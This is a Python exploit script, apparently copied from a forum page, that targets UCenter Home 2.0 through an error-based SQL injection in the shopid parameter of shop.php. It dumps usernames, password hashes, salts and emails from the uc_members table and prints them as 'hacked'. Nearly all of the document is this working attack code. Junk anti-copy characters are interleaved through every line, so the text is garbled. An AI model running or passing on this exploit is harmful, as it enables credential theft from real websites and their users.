#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl
. G" k3 X/ x. l3 B: Z9 W
4 c/ D/ A, b3 v# e+ n* Q( ~# Q
#!/usr/bin/env python & k& g4 {8 F: s" A0 `+ G0 i
+ b- ^, ~2 Z# R* a& b4 s1 B' K
import sys
# h2 M6 V. i6 ]' ~, {: W( a! d# wimport urllib2 7 n' i& T9 E# e) o; c8 y
import re
5 C0 O4 ?" B9 K6 _
1 y9 g' X% f. i. G' Hdef info():
$ b4 `/ U8 M4 x+ c, J9 } print 'From:http://www.exploit-db.com/exploits/14997/' % i8 c+ U0 ~3 G( [# b# k# A% z0 E
print 'http://www.hake.cc/Web_loudong/'
2 {! K1 j* q7 g& U print 'changed:qiaoy'
- [, Y5 p& L& }: ~! q print 'exp:' 8 [8 f( G' d+ o5 A `4 B% M0 N N
print ' ./UCenter_Home_2.0.py site' 1 b5 g2 q% d# V7 }. x
4 F8 Q0 ^ s; I% e0 ^
def main():
+ Q) ~$ |6 ~, A/ m4 l1 e$ e if len(sys.argv) != 2:
( f, T4 L8 L1 B% p* G info()
# u2 [+ _1 f7 a else:
2 G& T6 }& L8 Q' \# I) }+ I site = sys.argv[1] / |5 R* u1 K& }9 V# a& p
if site[0:7] == 'http://':
$ Z6 G, Y: }: L- m% B8 W5 S( _ sitesite =site ! }' n/ H' I7 \, o3 Z' x/ D
elif site[0:8] == 'https://':
+ e% S, I- l# Q- w2 k% t { sitesite = site
3 @5 ?7 s8 ]6 z c- A else: " M4 C- ]% d9 \% X3 C# N
site = 'http://'+site
- G0 o9 |2 ^+ g+ t; f G try: + u/ ?& L7 L" t) P" p, c7 Q
url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'
! Q' a! c4 ^3 t$ o+ q+ Y5 S Value = urllib2.urlopen(url).read() 1 l& \7 X& M# q( z1 I# K" r: t
Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]
' P( y9 I& N# x4 P; J hacked = Msg.split(':')
0 w' J) y, c0 a% d; E2 S' ` print 'Name: '+hacked[1] ; O" U0 e& I* Y6 Z2 \4 D
print 'Passwd: '+hacked[2]
9 |( M. K& l3 g5 w0 T( o7 E# o print 'salt: '+hacked[3]
: e g# ]& J. p print 'email: '+hacked[4]
) E* a% P, q& R! y) a2 P: G' R* a except:
# \9 I) d' d: b; {5 l5 W print 'Sorry,I can\'t work............' / u- B0 F' B/ O! j3 N5 f2 |0 A
/ M# n( k2 J* a. [- B2 }
if __name__ == '__main__': , G! ?+ `: p2 L" ^
main() |